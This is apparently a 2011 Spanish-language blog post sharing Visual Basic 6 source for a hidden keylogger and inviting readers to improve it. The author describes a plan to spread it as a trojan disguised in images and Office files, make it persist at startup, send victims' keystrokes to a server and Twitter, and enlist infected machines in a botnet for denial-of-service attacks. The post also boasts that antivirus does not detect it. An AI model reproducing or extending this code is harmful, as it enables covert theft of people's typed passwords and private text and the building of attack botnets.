EJERCITO BOTNET

Posted on 09/06/2011

5



Hola, acabo de crear un prototipo de un keylogger, me falta mejorarlo, asi que dejo el codigo para que puedan colaborar. El propósito es crear un keylogger que envié la información a un servidor y al twitter. Les explico, la aplicación esta escrita en VB6 por que no necesita librerías ni frameworks para ser ejecutada en cualquier pc que use windows en cualquiera de sus versiones, esta aplicación invisible la mandare como un troyano, escondido en imágenes, archivos de office, etc. Usando la ing. social y con tu ayuda propagare este botnet, una ves que se ejecute en la maquina huésped, este se guardara en la carpeta de inicio, esto quiere decir que cada vez que la pc se prenda, el botnet se ejecutara y guardara todo lo que la victima escriba en un archivo de texto, un timer enviara la información y la borrara del archivo, y así sucesivamente.

Anterior mente he creado troyanos con el mismo lenguaje VB6 y que este creaba archivos .bat para que se ejecuten al incio de cada sesión. Así que esta parte no es compleja para mi.

También este botnet al momento que se hospeda a una maquina enviara información a una base de datos que me indicara el nuevo computador infectado, otro timer estará recibiendo información con un simple select a la base de datos, si el estado esta activo de este botnet empezara a abrir varias conexiones a una url indicada por la base de datos y así empezar un ataque de DOS(denegación de servicio) jajaja… eso también ya esta probado.

Lo que ahora necesito es mejorar el keylogger ya que no me esta reconociendo los símbolos y las mayúsculas.

Creas un simple proyecto en VB6

Jalas un timer al formulario, y pegas este código tal como esta.

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
Timer1.Enabled = True
End Sub

Private Sub Timer1_Timer()
Open "C:\logger.txt" For Append As 1
If GetAsyncKeyState(vbKeyShift) Then
If GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKey1) Then
Print #1, "!"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKey2) Then
Print #1, """"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKey3) Then
Print #1, "£"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKey4) Then
Print #1, "$"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKey5) Then
Print #1, "%"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKey6) Then
Print #1, "&"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKey7) Then
Print #1, "/"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKey8) Then
Print #1, "("
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKey9) Then
Print #1, ")"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKey0) Then
Print #1, "="
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyA) Then
Print #1, "A"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyB) Then
Print #1, "B"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyC) Then
Print #1, "C"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyD) Then
Print #1, "D"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyE) Then
Print #1, "E"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyF) Then
Print #1, "F"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyG) Then
Print #1, "G"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyH) Then
Print #1, "H"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyI) Then
Print #1, "I"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyJ) Then
Print #1, "J"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyK) Then
Print #1, "K"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyL) Then
Print #1, "L"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyM) Then
Print #1, "M"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyN) Then
Print #1, "N"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyO) Then
Print #1, "O"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyP) Then
Print #1, "P"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyQ) Then
Print #1, "Q"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyR) Then
Print #1, "R"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyS) Then
Print #1, "S"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyT) Then
Print #1, "T"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyU) Then
Print #1, "U"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyV) Then
Print #1, "V"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyW) Then
Print #1, "W"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyX) Then
Print #1, "X"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyY) Then
Print #1, "Y"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyZ) Then
Print #1, "Z"
End If
Else
If GetAsyncKeyState(vbKeyA) Then
Print #1, "a"
ElseIf GetAsyncKeyState(vbKeyB) Then
Print #1, "b"
ElseIf GetAsyncKeyState(vbKeyC) Then
Print #1, "c"
ElseIf GetAsyncKeyState(vbKeyD) Then
Print #1, "d"
ElseIf GetAsyncKeyState(vbKeyE) Then
Print #1, "e"
ElseIf GetAsyncKeyState(vbKeyF) Then
Print #1, "f"
ElseIf GetAsyncKeyState(vbKeyG) Then
Print #1, "g"
ElseIf GetAsyncKeyState(vbKeyH) Then
Print #1, "h"
ElseIf GetAsyncKeyState(vbKeyI) Then
Print #1, "i"
ElseIf GetAsyncKeyState(vbKeyJ) Then
Print #1, "j"
ElseIf GetAsyncKeyState(vbKeyK) Then
Print #1, "k"
ElseIf GetAsyncKeyState(vbKeyL) Then
Print #1, "l"
ElseIf GetAsyncKeyState(vbKeyM) Then
Print #1, "m"
ElseIf GetAsyncKeyState(vbKeyN) Then
Print #1, "n"
ElseIf GetAsyncKeyState(vbKeyO) Then
Print #1, "o"
ElseIf GetAsyncKeyState(vbKeyP) Then
Print #1, "p"
ElseIf GetAsyncKeyState(vbKeyQ) Then
Print #1, "q"
ElseIf GetAsyncKeyState(vbKeyR) Then
Print #1, "r"
ElseIf GetAsyncKeyState(vbKeyS) Then
Print #1, "s"
ElseIf GetAsyncKeyState(vbKeyT) Then
Print #1, "t"
ElseIf GetAsyncKeyState(vbKeyU) Then
Print #1, "u"
ElseIf GetAsyncKeyState(vbKeyV) Then
Print #1, "v"
ElseIf GetAsyncKeyState(vbKeyW) Then
Print #1, "w"
ElseIf GetAsyncKeyState(vbKeyX) Then
Print #1, "x"
ElseIf GetAsyncKeyState(vbKeyY) Then
Print #1, "y"
ElseIf GetAsyncKeyState(vbKeyZ) Then
Print #1, "z"
ElseIf GetAsyncKeyState(vbKey0) Then
Print #1, "0"
ElseIf GetAsyncKeyState(vbKey1) Then
Print #1, "1"
ElseIf GetAsyncKeyState(vbKey2) Then
Print #1, "2"
ElseIf GetAsyncKeyState(vbKey3) Then
Print #1, "3"
ElseIf GetAsyncKeyState(vbKey4) Then
Print #1, "4"
ElseIf GetAsyncKeyState(vbKey5) Then
Print #1, "5"
ElseIf GetAsyncKeyState(vbKey6) Then
Print #1, "6"
ElseIf GetAsyncKeyState(vbKey7) Then
Print #1, "7"
ElseIf GetAsyncKeyState(vbKey8) Then
Print #1, "8"
ElseIf GetAsyncKeyState(vbKey9) Then
Print #1, "9"
ElseIf GetAsyncKeyState(vbKeyNumpad0) Then
Print #1, "0"
ElseIf GetAsyncKeyState(vbKeyNumpad1) Then
Print #1, "1"
ElseIf GetAsyncKeyState(vbKeyNumpad2) Then
Print #1, "2"
ElseIf GetAsyncKeyState(vbKeyNumpad3) Then
Print #1, "3"
ElseIf GetAsyncKeyState(vbKeyNumpad4) Then
Print #1, "4"
ElseIf GetAsyncKeyState(vbKeyNumpad5) Then
Print #1, "5"
ElseIf GetAsyncKeyState(vbKeyNumpad6) Then
Print #1, "6"
ElseIf GetAsyncKeyState(vbKeyNumpad7) Then
Print #1, "7"
ElseIf GetAsyncKeyState(vbKeyNumpad8) Then
Print #1, "8"
ElseIf GetAsyncKeyState(vbKeyNumpad9) Then
Print #1, "9"
ElseIf GetAsyncKeyState(vbKeySpace) Then
Print #1, "espacio"
End If
End If
Close 1
End Sub

Luego creas un modulo y pegas este código tal como esta

Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Const KEYEVENTF_EXTENDEDKEY = &H1
Const KEYEVENTF_KEYUP = &H2

Luego generas un .exe y listo, los antivirus no lo reconocen así que por ahí no hay problema.

Aquí te dejo como había creado el troyano años atrás:

https://ubuntubook.wordpress.com/2009/08/30/como-hacer-un-troyano/

https://ubuntubook.wordpress.com/2011/02/28/trojan-horse/

Listo, ahora a la cama nos vemos, ya saben cualquier duda al privado…

Anuncios
Etiquetado: ,
Posted in: botnet, keylogger